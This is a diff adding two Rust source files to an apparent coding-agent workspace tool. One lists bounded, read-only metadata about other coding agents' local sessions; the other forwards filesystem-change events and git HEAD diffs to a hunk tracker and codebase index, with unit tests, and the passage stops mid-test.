@@ -0,0 +1,773 @@
//! Bounded, metadata-only listing of foreign coding-agent sessions.
//! Foreign SQLite stores are opened only when `kigi_sqlite_journal::JournalMode`
//! selects local WAL. The direct read-only/query-only transaction makes no
//! logical writes, though WAL coordination may update shared-memory read marks.
//! Network filesystems fail soft before SQLite open, conversion, or writes.
use std::cmp::Ordering;
use std::collections::HashSet;
use std::path::{Path, PathBuf};
use std::time::{Duration, SystemTime, UNIX_EPOCH};
mod capability;
mod claude;
mod codex;
use capability::{ApprovedRoot, open_sqlite_transaction};
pub const MAX_SESSIONS_PER_TOOL: usize = 50;
pub const MAX_SESSION_AGE: Duration = Duration::from_secs(30 * 24 * 60 * 60);
pub const MAX_TITLE_CHARS: usize = 200;
const MAX_FUTURE_SKEW: Duration = Duration::from_secs(5 * 60);
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum ForeignSessionTool {
Claude,
Codex,
Cursor,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum ForeignSessionSource {
ClaudeCode,
CodexCli,
CodexVsCode,
CodexAtlas,
CodexChatGpt,
CursorDesktop,
CursorCli,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ForeignSessionSummary {
pub tool: ForeignSessionTool,
pub source: ForeignSessionSource,
pub native_id: String,
pub title: String,
pub cwd: PathBuf,
pub updated_at: SystemTime,
pub branch: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct RecentForeignSession {
pub tool: ForeignSessionTool,
pub native_id: String,
pub age: Duration,
}
#[derive(Debug, Clone, PartialEq, Eq)]
struct RecentCandidate {
tool: ForeignSessionTool,
source: ForeignSessionSource,
native_id: String,
updated_at: SystemTime,
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum RecentProbe<T> {
Complete(Option<T>),
Incomplete,
}
fn approved_root_for_recent(path: &Path) -> Result<Option<ApprovedRoot>, ()> {
match std::fs::symlink_metadata(path) {
Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(None),
Err(_) => Err(()),
Ok(_) => ApprovedRoot::new(path).map(Some).ok_or(()),
}
}
#[cfg(test)]
impl<T> RecentProbe<T> {
fn unwrap(self) -> T {
match self {
Self::Complete(Some(value)) => value,
Self::Complete(None) => {
panic!("called RecentProbe::unwrap on complete-empty probe")
}
Self::Incomplete => panic!("called RecentProbe::unwrap on incomplete probe"),
}
}
fn is_none(&self) -> bool {
matches!(self, Self::Complete(None))
}
}
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
pub struct EnabledForeignSessionSources {
pub claude: bool,
pub codex: bool,
pub cursor: bool,
}
pub fn scan_foreign_sessions(
cwd: &Path,
enabled: EnabledForeignSessionSources,
) -> Vec<ForeignSessionSummary> {
let scan_cursor = |_: &Path, _: SystemTime| Vec::new();
scan_with(cwd, enabled, claude::scan, codex::scan, scan_cursor)
}
pub fn most_recent_foreign_session(
cwd: &Path,
enabled: EnabledForeignSessionSources,
within: Duration,
) -> Option<RecentForeignSession> {
let recent_cursor = |_: &Path, _: SystemTime, _: Duration| RecentProbe::Complete(None);
match most_recent_with(
cwd,
enabled,
within,
SystemTime::now(),
claude::most_recent,
codex::most_recent,
recent_cursor,
) {
RecentProbe::Complete(session) => session,
RecentProbe::Incomplete => None,
}
}
fn most_recent_with<Claude, Codex, Cursor>(
cwd: &Path,
enabled: EnabledForeignSessionSources,
within: Duration,
now: SystemTime,
recent_claude: Claude,
recent_codex: Codex,
recent_cursor: Cursor,
) -> RecentProbe<RecentForeignSession>
where
Claude: FnOnce(&Path, SystemTime, Duration) -> RecentProbe<RecentCandidate>,
Codex: FnOnce(&Path, SystemTime, Duration) -> RecentProbe<RecentCandidate>,
Cursor: FnOnce(&Path, SystemTime, Duration) -> RecentProbe<RecentCandidate>,
{
if !enabled.claude && !enabled.codex && !enabled.cursor {
return RecentProbe::Complete(None);
}
let Ok(cwd) = dunce::canonicalize(cwd) else {
return RecentProbe::Complete(None);
};
let mut candidates = Vec::with_capacity(3);
if enabled.claude {
match recent_claude(&cwd, now, within) {
RecentProbe::Complete(candidate) => candidates.extend(candidate),
RecentProbe::Incomplete => return RecentProbe::Incomplete,
}
}
if enabled.codex {
match recent_codex(&cwd, now, within) {
RecentProbe::Complete(candidate) => candidates.extend(candidate),
RecentProbe::Incomplete => return RecentProbe::Incomplete,
}
}
if enabled.cursor {
match recent_cursor(&cwd, now, within) {
RecentProbe::Complete(candidate) => candidates.extend(candidate),
RecentProbe::Incomplete => return RecentProbe::Incomplete,
}
}
let winner = candidates
.into_iter()
.filter(|candidate| is_within(candidate.updated_at, now, within))
.min_by(recent_candidate_order);
RecentProbe::Complete(winner.map(|winner| {
RecentForeignSession {
tool: winner.tool,
native_id: winner.native_id,
age: now
.duration_since(winner.updated_at)
.unwrap_or(Duration::ZERO),
}
}))
}
fn recent_candidate_order(a: &RecentCandidate, b: &RecentCandidate) -> Ordering {
b.updated_at
.cmp(&a.updated_at)
.then_with(|| a.tool.cmp(&b.tool))
.then_with(|| a.native_id.cmp(&b.native_id))
.then_with(|| a.source.cmp(&b.source))
}
fn scan_with<Claude, Codex, Cursor>(
cwd: &Path,
enabled: EnabledForeignSessionSources,
mut scan_claude: Claude,
mut scan_codex: Codex,
mut scan_cursor: Cursor,
) -> Vec<ForeignSessionSummary>
where
Claude: FnMut(&Path, SystemTime) -> Vec<ForeignSessionSummary>,
Codex: FnMut(&Path, SystemTime) -> Vec<ForeignSessionSummary>,
Cursor: FnMut(&Path, SystemTime) -> Vec<ForeignSessionSummary>,
{
if !enabled.claude && !enabled.codex && !enabled.cursor {
return Vec::new();
}
let canonical_cwd = dunce::canonicalize(cwd).unwrap_or_else(|_| cwd.to_path_buf());
let mut cwd_spellings = vec![canonical_cwd];
if cwd_spellings[0].as_path() != cwd {
cwd_spellings.push(cwd.to_path_buf());
}
let now = SystemTime::now();
let mut sessions = Vec::new();
if enabled.claude {
let mut tool_sessions = Vec::new();
for cwd in &cwd_spellings {
tool_sessions.extend(scan_claude(cwd, now));
}
sessions.extend(finish_tool_scan(tool_sessions));
}
if enabled.codex {
let mut tool_sessions = Vec::new();
for cwd in &cwd_spellings {
tool_sessions.extend(scan_codex(cwd, now));
}
sessions.extend(finish_tool_scan(tool_sessions));
}
if enabled.cursor {
let mut tool_sessions = Vec::new();
for cwd in &cwd_spellings {
tool_sessions.extend(scan_cursor(cwd, now));
}
sessions.extend(finish_tool_scan(tool_sessions));
}
sort_sessions(&mut sessions);
sessions
}
fn sort_sessions(sessions: &mut [ForeignSessionSummary]) {
sessions.sort_by(|a, b| {
b.updated_at
.cmp(&a.updated_at)
.then_with(|| a.tool.cmp(&b.tool))
.then_with(|| a.native_id.cmp(&b.native_id))
.then_with(|| a.source.cmp(&b.source))
.then_with(|| a.title.cmp(&b.title))
.then_with(|| a.cwd.cmp(&b.cwd))
});
}
pub(super) fn finish_tool_scan(
mut sessions: Vec<ForeignSessionSummary>,
) -> Vec<ForeignSessionSummary> {
sort_sessions(&mut sessions);
let mut seen = HashSet::new();
sessions.retain(|session| seen.insert(session.native_id.clone()));
sessions.truncate(MAX_SESSIONS_PER_TOOL);
sessions
}
pub(super) fn retain_top_k_by<T>(
candidates: &mut Vec<T>,
candidate: T,
limit: usize,
compare: impl Fn(&T, &T) -> Ordering,
) {
if limit == 0 {
return;
}
if candidates.len() == limit {
if !candidates
.last()
.is_some_and(|worst| compare(worst, &candidate).is_gt())
{
return;
}
candidates.pop();
}
let index = candidates
.binary_search_by(|existing| compare(existing, &candidate))
.unwrap_or_else(|index| index);
candidates.insert(index, candidate);
}
pub(super) fn is_within(updated_at: SystemTime, now: SystemTime, within: Duration) -> bool {
match now.duration_since(updated_at) {
Ok(age) => age <= within,
Err(future) => future.duration() <= MAX_FUTURE_SKEW,
}
}
pub(super) fn system_time_from_millis(millis: i64) -> Option<SystemTime> {
let millis = u64::try_from(millis).ok()?;
UNIX_EPOCH.checked_add(Duration::from_millis(millis))
}
pub(super) fn millis_from_system_time(time: SystemTime) -> Option<i64> {
let millis = time.duration_since(UNIX_EPOCH).ok()?.as_millis();
i64::try_from(millis).ok()
}
pub(super) fn millis_bounds(now: SystemTime, within: Duration) -> Option<(i64, i64)> {
Some((
millis_from_system_time(now.checked_sub(within)?)?,
millis_from_system_time(now.checked_add(MAX_FUTURE_SKEW)?)?,
))
}
pub(super) fn normalize_title(value: &str) -> Option<String> {
let normalized = value.split_whitespace().collect::<Vec<_>>().join(" ");
if normalized.is_empty() {
return None;
}
let mut chars = normalized.chars();
let prefix: String = chars.by_ref().take(MAX_TITLE_CHARS).collect();
if chars.next().is_none() {
Some(prefix)
} else {
let mut truncated: String = prefix
.chars()
.take(MAX_TITLE_CHARS.saturating_sub(1))
.collect();
truncated.push('…');
Some(truncated)
}
}
/// Test fixture root: a tempdir plus its canonical path. `ApprovedRoot` (and
/// the path-capability code built on it) canonicalizes internally, so fixtures
/// must build paths from the canonical form or containment checks fail when
/// the OS tempdir is behind a symlink (macOS: `/var` -> `/private/var`).
#[cfg(test)]
fn canonical_tempdir() -> (tempfile::TempDir, PathBuf) {
let dir = tempfile::tempdir().unwrap();
let path = dunce::canonicalize(dir.path()).unwrap();
(dir, path)
}
#[cfg(test)]
mod tests {
use super::*;
use std::cell::{Cell, RefCell};
fn summary(id: &str, updated_at: SystemTime) -> ForeignSessionSummary {
ForeignSessionSummary {
tool: ForeignSessionTool::Claude,
source: ForeignSessionSource::ClaudeCode,
native_id: id.to_owned(),
title: id.to_owned(),
cwd: PathBuf::from("/repo"),
updated_at,
branch: None,
}
}
fn recent_candidate(
tool: ForeignSessionTool,
source: ForeignSessionSource,
id: &str,
updated_at: SystemTime,
) -> RecentCandidate {
RecentCandidate {
tool,
source,
native_id: id.to_owned(),
updated_at,
}
}
fn complete_candidate(
tool: ForeignSessionTool,
source: ForeignSessionSource,
id: &str,
updated_at: SystemTime,
) -> RecentProbe<RecentCandidate> {
RecentProbe::Complete(Some(recent_candidate(tool, source, id, updated_at)))
}
#[test]
fn recent_winner_is_newest_across_tools_with_deterministic_ties() {
let now = UNIX_EPOCH + Duration::from_secs(10_000);
let within = Duration::from_secs(600);
let root = tempfile::tempdir().unwrap();
let cwd = dunce::canonicalize(root.path()).unwrap();
let enabled = EnabledForeignSessionSources {
claude: true,
codex: true,
cursor: true,
};
let winner = most_recent_with(
&cwd,
enabled,
within,
now,
|_, _, _| {
complete_candidate(
ForeignSessionTool::Claude,
ForeignSessionSource::ClaudeCode,
"claude",
now - Duration::from_secs(3),
)
},
|_, _, _| {
complete_candidate(
ForeignSessionTool::Codex,
ForeignSessionSource::CodexCli,
"codex",
now - Duration::from_secs(1),
)
},
|_, _, _| {
complete_candidate(
ForeignSessionTool::Cursor,
ForeignSessionSource::CursorDesktop,
"cursor",
now - Duration::from_secs(2),
)
},
)
.unwrap();
assert_eq!(winner.tool, ForeignSessionTool::Codex);
assert_eq!(winner.native_id, "codex");
let tied = most_recent_with(
&cwd,
enabled,
within,
now,
|_, _, _| {
complete_candidate(
ForeignSessionTool::Claude,
ForeignSessionSource::ClaudeCode,
"claude",
now,
)
},
|_, _, _| {
complete_candidate(
ForeignSessionTool::Codex,
ForeignSessionSource::CodexCli,
"codex",
now,
)
},
|_, _, _| {
complete_candidate(
ForeignSessionTool::Cursor,
ForeignSessionSource::CursorDesktop,
"cursor",
now,
)
},
)
.unwrap();
assert_eq!(tied.tool, ForeignSessionTool::Claude);
assert_eq!(tied.native_id, "claude");
}
#[test]
fn recent_window_includes_cutoff_and_clamps_safe_future_age() {
let now = UNIX_EPOCH + Duration::from_secs(10_000);
let within = Duration::from_secs(600);
let root = tempfile::tempdir().unwrap();
let cwd = dunce::canonicalize(root.path()).unwrap();
let claude_only = EnabledForeignSessionSources {
claude: true,
..Default::default()
};
let at_cutoff = most_recent_with(
&cwd,
claude_only,
within,
now,
|_, _, _| {
complete_candidate(
ForeignSessionTool::Claude,
ForeignSessionSource::ClaudeCode,
"cutoff",
now - within,
)
},
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled codex store touched") },
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled cursor store touched") },
)
.unwrap();
assert_eq!(at_cutoff.age, within);
let future = most_recent_with(
&cwd,
claude_only,
within,
now,
|_, _, _| {
complete_candidate(
ForeignSessionTool::Claude,
ForeignSessionSource::ClaudeCode,
"future",
now + MAX_FUTURE_SKEW,
)
},
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled codex store touched") },
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled cursor store touched") },
)
.unwrap();
assert_eq!(future.age, Duration::ZERO);
assert!(
most_recent_with(
&cwd,
claude_only,
within,
now,
|_, _, _| {
complete_candidate(
ForeignSessionTool::Claude,
ForeignSessionSource::ClaudeCode,
"too-far-future",
now + MAX_FUTURE_SKEW + Duration::from_secs(1),
)
},
|_, _, _| -> RecentProbe<RecentCandidate> {
panic!("disabled codex store touched")
},
|_, _, _| -> RecentProbe<RecentCandidate> {
panic!("disabled cursor store touched")
},
)
.is_none()
);
}
#[test]
fn recent_scan_never_touches_disabled_tool_stores() {
let now = UNIX_EPOCH + Duration::from_secs(10_000);
let root = tempfile::tempdir().unwrap();
let cwd = dunce::canonicalize(root.path()).unwrap();
let calls = Cell::new((0, 0, 0));
let found = most_recent_with(
&cwd,
EnabledForeignSessionSources {
codex: true,
..Default::default()
},
Duration::from_secs(600),
now,
|_, _, _| {
let (_, codex, cursor) = calls.get();
calls.set((1, codex, cursor));
RecentProbe::Complete(None)
},
|_, _, _| {
let (claude, _, cursor) = calls.get();
calls.set((claude, 1, cursor));
complete_candidate(
ForeignSessionTool::Codex,
ForeignSessionSource::CodexCli,
"codex",
now,
)
},
|_, _, _| {
let (claude, codex, _) = calls.get();
calls.set((claude, codex, 1));
RecentProbe::Complete(None)
},
);
assert_eq!(calls.get(), (0, 1, 0));
assert_eq!(found.unwrap().tool, ForeignSessionTool::Codex);
}
#[test]
fn incomplete_enabled_tool_suppresses_cross_tool_winner() {
let now = UNIX_EPOCH + Duration::from_secs(10_000);
let root = tempfile::tempdir().unwrap();
let cwd = dunce::canonicalize(root.path()).unwrap();
let result = most_recent_with(
&cwd,
EnabledForeignSessionSources {
claude: true,
codex: true,
cursor: true,
},
Duration::from_secs(600),
now,
|_, _, _| RecentProbe::<RecentCandidate>::Incomplete,
|_, _, _| {
complete_candidate(
ForeignSessionTool::Codex,
ForeignSessionSource::CodexCli,
"codex",
now,
)
},
|_, _, _| RecentProbe::Complete(None),
);
assert_eq!(result, RecentProbe::Incomplete);
}
#[test]
fn recent_scan_normalizes_cwd_before_store_access() {
let root = tempfile::tempdir().unwrap();
let cwd = root.path().join("repo");
let child = cwd.join("child");
std::fs::create_dir_all(&child).unwrap();
let expected = dunce::canonicalize(&cwd).unwrap();
let spelled = child.join("..");
let found = most_recent_with(
&spelled,
EnabledForeignSessionSources {
codex: true,
..Default::default()
},
Duration::from_secs(600),
SystemTime::now(),
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled claude store touched") },
|received, _, _| {
assert_eq!(received, expected);
RecentProbe::Complete(None)
},
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled cursor store touched") },
);
assert!(found.is_none());
}
#[test]
fn recent_scan_canonicalization_failure_never_invokes_stores() {
let calls = Cell::new(0);
let root = tempfile::tempdir().unwrap();
let missing = root.path().join("missing");
let found = most_recent_with(
&missing,
EnabledForeignSessionSources {
claude: true,
codex: true,
cursor: true,
},
Duration::from_secs(600),
SystemTime::now(),
|_, _, _| {
calls.set(calls.get() + 1);
RecentProbe::Complete(None)
},
|_, _, _| {
calls.set(calls.get() + 1);
RecentProbe::Complete(None)
},
|_, _, _| {
calls.set(calls.get() + 1);
RecentProbe::Complete(None)
},
);
assert!(found.is_none());
assert_eq!(calls.get(), 0);
}
#[test]
fn disabled_sources_do_not_invoke_scanners() {
let sessions = scan_with(
Path::new("/repo"),
EnabledForeignSessionSources::default(),
|_, _| panic!("claude scanner called"),
|_, _| panic!("codex scanner called"),
|_, _| panic!("cursor scanner called"),
);
assert!(sessions.is_empty());
}
#[test]
fn only_enabled_sources_are_invoked() {
let claude_calls = Cell::new(0);
let codex_calls = Cell::new(0);
let cursor_calls = Cell::new(0);
scan_with(
Path::new("/repo"),
EnabledForeignSessionSources {
codex: true,
..Default::default()
},
|_, _| {
claude_calls.set(claude_calls.get() + 1);
Vec::new()
},
|_, _| {
codex_calls.set(codex_calls.get() + 1);
Vec::new()
},
|_, _| {
cursor_calls.set(cursor_calls.get() + 1);
Vec::new()
},
);
assert_eq!(
(claude_calls.get(), codex_calls.get(), cursor_calls.get()),
(0, 1, 0)
);
}
#[test]
fn finish_scan_deduplicates_sorts_and_caps() {
let now = UNIX_EPOCH + Duration::from_secs(1_000);
let mut sessions = (0..55)
.map(|i| summary(&format!("{i:02}"), now + Duration::from_secs(i)))
.collect::<Vec<_>>();
sessions.push(summary("54", now + Duration::from_secs(500)));
let sessions = finish_tool_scan(sessions);
assert_eq!(sessions.len(), MAX_SESSIONS_PER_TOOL);
assert_eq!(sessions[0].native_id, "54");
assert!(
sessions
.windows(2)
.all(|pair| pair[0].updated_at >= pair[1].updated_at)
);
}
#[test]
fn top_k_helper_uses_comparator_ties() {
let mut candidates = Vec::with_capacity(3);
for candidate in [(1, "z"), (3, "c"), (3, "a"), (2, "b"), (4, "d"), (3, "b")] {
retain_top_k_by(&mut candidates, candidate, 3, |a, b| {
b.0.cmp(&a.0).then_with(|| a.1.cmp(b.1))
});
}
assert_eq!(candidates, vec![(4, "d"), (3, "a"), (3, "b")]);
}
#[test]
fn title_truncation_is_utf8_safe_and_bounded() {
let title = normalize_title(&"é".repeat(250)).unwrap();
assert_eq!(title.chars().count(), MAX_TITLE_CHARS);
assert!(title.ends_with('…'));
}
#[test]
fn recency_allows_thirty_days_and_only_small_future_skew() {
let now = UNIX_EPOCH + Duration::from_secs(4_000_000);
assert!(is_within(now - MAX_SESSION_AGE, now, MAX_SESSION_AGE));
assert!(!is_within(
now - MAX_SESSION_AGE - Duration::from_secs(1),
now,
MAX_SESSION_AGE,
));
assert!(is_within(now + MAX_FUTURE_SKEW, now, MAX_SESSION_AGE));
assert!(!is_within(
now + MAX_FUTURE_SKEW + Duration::from_secs(1),
now,
MAX_SESSION_AGE,
));
}
#[test]
fn enabled_scanners_receive_canonical_and_supplied_cwd_spellings() {
let root = tempfile::tempdir().unwrap();
let cwd = root.path().join("repo");
let child = cwd.join("child");
std::fs::create_dir_all(&child).unwrap();
let expected = dunce::canonicalize(&cwd).unwrap();
let spelled = child.join("..");
let received = RefCell::new(Vec::new());
scan_with(
&spelled,
EnabledForeignSessionSources {
codex: true,
..Default::default()
},
|_, _| panic!("claude scanner called"),
|cwd, _| {
received.borrow_mut().push(cwd.to_path_buf());
Vec::new()
},
|_, _| panic!("cursor scanner called"),
);
assert_eq!(
received.into_inner(),
vec![expected.clone(), spelled.clone()]
);
#[cfg(unix)]
{
let link = root.path().join("linked-repo");
std::os::unix::fs::symlink(&cwd, &link).unwrap();
let received = RefCell::new(Vec::new());
scan_with(
&link,
EnabledForeignSessionSources {
cursor: true,
..Default::default()
},
|_, _| panic!("claude scanner called"),
|_, _| panic!("codex scanner called"),
|cwd, _| {
received.borrow_mut().push(cwd.to_path_buf());
Vec::new()
},
);
assert_eq!(received.into_inner(), vec![expected, link]);
}
}
#[cfg(windows)]
#[test]
fn normalized_cwd_uses_ordinary_windows_spelling() {
let root = tempfile::tempdir().unwrap();
let cwd = root.path().join("repo");
std::fs::create_dir_all(&cwd).unwrap();
scan_with(
&cwd,
EnabledForeignSessionSources {
codex: true,
..Default::default()
},
|_, _| panic!("claude scanner called"),
|received, _| {
assert_eq!(received, dunce::canonicalize(&cwd).unwrap());
assert!(!received.to_string_lossy().starts_with(r"\\?\"));
Vec::new()
},
|_, _| panic!("cursor scanner called"),
);
}
}
@@ -0,0 +1,367 @@
#![allow(dead_code)] // Functions consumed by handle.rs event forwarder wiring
//! FsNotify adapter functions bridging [`kigi_fsnotify`] events to
//! workspace subsystems (hunk tracker, codebase graph, workspace
//! event broadcast).
//!
//! Codebase graph forwarding: FsNotify file-change
//! events are converted via [`fs_event_to_codebase_graph_event`] and
//! sent to the [`IndexManagerHandle`](kigi_codebase_graph::IndexManagerHandle).
//! The [`refresh_codebase_graph_after_head_change`] helper handles
//! git HEAD changes by diffing `ORIG_HEAD..HEAD`.
use std::path::{Path, PathBuf};
use kigi_fsnotify::{FsEvent, FsEventKind};
use kigi_hunk_tracker::HunkTrackerHandle;
/// True if `path` lies under a hidden component below `cwd`.
///
/// The `cwd` prefix is stripped first, so a `cwd` like
/// `/home/u/.config/foo` does not flag paths inside that directory as
/// hidden. Only components below `cwd` that start with `.` (and are
/// longer than a bare `.`) are considered hidden.
pub(crate) fn is_under_hidden_dir(path: &Path, cwd: &Path) -> bool {
let rel = path.strip_prefix(cwd).unwrap_or(path);
rel.components().any(|c| {
c.as_os_str()
.to_str()
.is_some_and(|s| s.starts_with('.') && s.len() > 1)
})
}
/// Forward an fs event to the hunk tracker. Hidden-directory paths
/// (relative to `cwd`) are filtered out so the hunk tracker never
/// sees `.git/`, `.kigi/`, etc.
pub(crate) fn forward_to_hunk_tracker(
paths: &[PathBuf],
kind: FsEventKind,
handle: &HunkTrackerHandle,
cwd: &Path,
) {
for path in paths {
if is_under_hidden_dir(path, cwd) {
continue;
}
match kind {
FsEventKind::Created | FsEventKind::Modified | FsEventKind::Renamed => {
handle.handle_file_change(path.clone());
}
FsEventKind::Removed => {
handle.handle_file_deleted(path.clone());
}
_ => {}
}
}
}
/// Convert to codebase graph `FileEvent` for incremental index updates.
pub(crate) fn fs_event_to_codebase_graph_event(
paths: &[PathBuf],
kind: FsEventKind,
) -> kigi_codebase_graph::FileEvent {
use kigi_codebase_graph::{FileEvent, FileEventKind};
let graph_kind = match kind {
FsEventKind::Created => FileEventKind::Created,
FsEventKind::Modified => FileEventKind::Modified,
FsEventKind::Removed => FileEventKind::Removed,
FsEventKind::Renamed => FileEventKind::Renamed,
// `#[non_exhaustive]` fallback.
_ => FileEventKind::Modified,
};
FileEvent::new(paths.to_vec(), graph_kind)
}
/// Convert [`kigi_fsnotify::FsEventKind`] to the wire-type
/// [`kigi_workspace_types::FsEventKind`].
///
/// Identity mapping today; kept explicit so all known variants are
/// consciously mapped. Unknown future variants fall back to
/// `Modified` via the `#[non_exhaustive]` wildcard arm.
pub(crate) fn to_workspace_event_kind(kind: FsEventKind) -> kigi_workspace_types::FsEventKind {
match kind {
FsEventKind::Created => kigi_workspace_types::FsEventKind::Created,
FsEventKind::Modified => kigi_workspace_types::FsEventKind::Modified,
FsEventKind::Removed => kigi_workspace_types::FsEventKind::Removed,
FsEventKind::Renamed => kigi_workspace_types::FsEventKind::Renamed,
// `#[non_exhaustive]` fallback.
_ => kigi_workspace_types::FsEventKind::Modified,
}
}
/// Spawn a background task that reads [`FsEvent`]s from a broadcast
/// receiver, forwards `FilesChanged` to the hunk tracker, and
/// re-broadcasts each affected path as
/// [`WorkspaceEvent::FsChanged`](kigi_workspace_types::WorkspaceEvent::FsChanged)
/// on the workspace event bus.
///
/// The task exits when:
/// - the broadcast sender drops (all `FsEventSource`s for this
/// receiver are gone), or
/// - `cancel` is cancelled.
pub(crate) fn spawn_fs_event_forwarder(
mut rx: tokio::sync::broadcast::Receiver<FsEvent>,
hunk_tracker: HunkTrackerHandle,
events_tx: tokio::sync::broadcast::Sender<kigi_workspace_types::WorkspaceEvent>,
cwd: PathBuf,
cancel: tokio_util::sync::CancellationToken,
codebase_index: Option<std::sync::Arc<kigi_codebase_graph::IndexManagerHandle>>,
) {
tokio::spawn(async move {
loop {
tokio::select! {
biased;
_ = cancel.cancelled() => break,
result = rx.recv() => {
match result {
Ok(FsEvent::FilesChanged { ref paths, kind }) => {
// Forward to hunk tracker (hidden-dir filtered).
forward_to_hunk_tracker(paths, kind, &hunk_tracker, &cwd);
// Forward to codebase graph for incremental
// index updates (hidden-dir paths are indexed
// -- the graph's own ignore logic handles them).
if let Some(ref idx) = codebase_index {
let graph_event = fs_event_to_codebase_graph_event(paths, kind);
if let Err(e) = idx.send_event(graph_event) {
tracing::debug!(
error = %e,
"failed to forward fs event to codebase graph"
);
}
}
// Broadcast per-path WorkspaceEvent::FsChanged.
let ws_kind = to_workspace_event_kind(kind);
for path in paths {
let _ = events_tx.send(
kigi_workspace_types::WorkspaceEvent::FsChanged {
path: path.clone(),
kind: ws_kind,
},
);
}
}
Ok(other) => {
// Git meta / operation events -- not yet bridged
// to WorkspaceEvent::GitHeadChanged etc.
tracing::trace!(?other, "fs event forwarder: unhandled event variant");
}
Err(tokio::sync::broadcast::error::RecvError::Lagged(n)) => {
tracing::warn!(
lagged = n,
"fs event forwarder lagged; some events were dropped"
);
}
Err(tokio::sync::broadcast::error::RecvError::Closed) => break,
}
}
}
}
});
}
const GIT_DIFF_REBUILD_THRESHOLD: usize = 500;
fn parse_diff_name_status_line(
line: &str,
repo_root: &Path,
) -> Option<kigi_codebase_graph::FileEvent> {
let mut parts = line.splitn(3, '\t');
let status = parts.next()?.trim();
let path = parts.next()?;
match status.chars().next()? {
'A' => Some(kigi_codebase_graph::FileEvent::created(
repo_root.join(path),
)),
'D' => Some(kigi_codebase_graph::FileEvent::removed(
repo_root.join(path),
)),
'R' | 'C' => {
let new_path = parts.next()?;
Some(kigi_codebase_graph::FileEvent::renamed(
repo_root.join(path),
repo_root.join(new_path),
))
}
_ => Some(kigi_codebase_graph::FileEvent::modified(
repo_root.join(path),
)),
}
}
/// After a HEAD change, diff `ORIG_HEAD..HEAD` and send targeted
/// events to the codebase graph. Falls back to full rebuild if too
/// many files changed.
///
/// Emits [`WorkspaceEvent::CodebaseIndexUpdated`] on the provided
/// `events_tx` after the index has been updated (either via targeted
/// events or a full rebuild). Skips the event if the index actor
/// channel is closed (i.e. the actor has been dropped).
pub(crate) async fn refresh_codebase_graph_after_head_change(
idx: &kigi_codebase_graph::IndexManagerHandle,
repo_root: &Path,
events_tx: &tokio::sync::broadcast::Sender<kigi_workspace_types::WorkspaceEvent>,
) {
let mut diff_cmd = tokio::process::Command::new("git");
diff_cmd
.args(["diff", "--name-status", "ORIG_HEAD", "HEAD"])
.current_dir(repo_root)
.stdin(std::process::Stdio::null());
kigi_tools::util::detach_command(&mut diff_cmd);
diff_cmd.envs(kigi_tools::util::pager_env());
let diff_output = diff_cmd.output().await;
// `None` means the update failed entirely (channel closed) --
// skip the event so subscribers are not misled.
let files_updated: Option<u64>;
match diff_output {
Ok(output) if output.status.success() => {
let changed: Vec<_> = String::from_utf8_lossy(&output.stdout)
.lines()
.filter(|l| !l.is_empty())
.filter_map(|l| parse_diff_name_status_line(l, repo_root))
.collect();
let count = changed.len();
if count > GIT_DIFF_REBUILD_THRESHOLD {
tracing::debug!(
"git_refresh: {count} changed files exceeds threshold, falling back to rebuild"
);
files_updated = match idx.rebuild() {
Ok(()) => Some(count as u64),
Err(e) => {
tracing::debug!("git_refresh: rebuild failed: {:?}", e);
None
}
};
} else if let Err(e) = idx.send_events(changed) {
tracing::debug!("git_refresh: failed to send graph events: {:?}", e);
files_updated = None;
} else {
tracing::debug!("git_refresh: sent {count} changed files to codebase graph");
files_updated = Some(count as u64);
}
}
_ => {
tracing::debug!("git_refresh: git diff failed, falling back to rebuild");
files_updated = match idx.rebuild() {
Ok(()) => Some(0),
Err(e) => {
tracing::debug!("git_refresh: rebuild fallback also failed: {:?}", e);
None
}
};
}
}
if let Some(count) = files_updated {
let _ = events_tx.send(kigi_workspace_types::WorkspaceEvent::CodebaseIndexUpdated {
files_indexed: count,
});
}
}
pub(crate) fn ws_event_to_codebase_graph_event(
path: &std::path::Path,
kind: kigi_workspace_types::FsEventKind,
) -> kigi_codebase_graph::FileEvent {
use kigi_codebase_graph::{FileEvent, FileEventKind};
let graph_kind = match kind {
kigi_workspace_types::FsEventKind::Created => FileEventKind::Created,
kigi_workspace_types::FsEventKind::Modified => FileEventKind::Modified,
kigi_workspace_types::FsEventKind::Removed => FileEventKind::Removed,
kigi_workspace_types::FsEventKind::Renamed => FileEventKind::Renamed,
};
FileEvent::new(vec![path.to_path_buf()], graph_kind)
}
#[cfg(test)]
mod tests {
use super::*;
use std::path::PathBuf;
#[test]
fn hidden_dir_positive() {
assert!(is_under_hidden_dir(
&PathBuf::from("/workspace/.kigi/worktrees/abc/src/main.rs"),
&PathBuf::from("/workspace"),
));
}
#[test]
fn hidden_dir_ignores_cwd_components() {
assert!(!is_under_hidden_dir(
&PathBuf::from("/home/user/.config/project/src/lib.rs"),
&PathBuf::from("/home/user/.config/project"),
));
}
#[test]
fn hidden_dir_dot_only() {
// A bare `.` component is not "hidden".
assert!(!is_under_hidden_dir(
&PathBuf::from("/workspace/./src/main.rs"),
&PathBuf::from("/workspace"),
));
}
#[test]
fn workspace_event_kind_round_trip() {
use kigi_workspace_types::FsEventKind as WsKind;
assert_eq!(
to_workspace_event_kind(FsEventKind::Created),
WsKind::Created
);
assert_eq!(
to_workspace_event_kind(FsEventKind::Modified),
WsKind::Modified
);
assert_eq!(
to_workspace_event_kind(FsEventKind::Removed),
WsKind::Removed
);
assert_eq!(
to_workspace_event_kind(FsEventKind::Renamed),
WsKind::Renamed
);
}
#[test]
fn codebase_graph_event_mapping() {
use kigi_codebase_graph::FileEventKind;
let paths = vec![PathBuf::from("/workspace/src/main.rs")];
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Created);
assert_eq!(ev.kind, FileEventKind::Created);
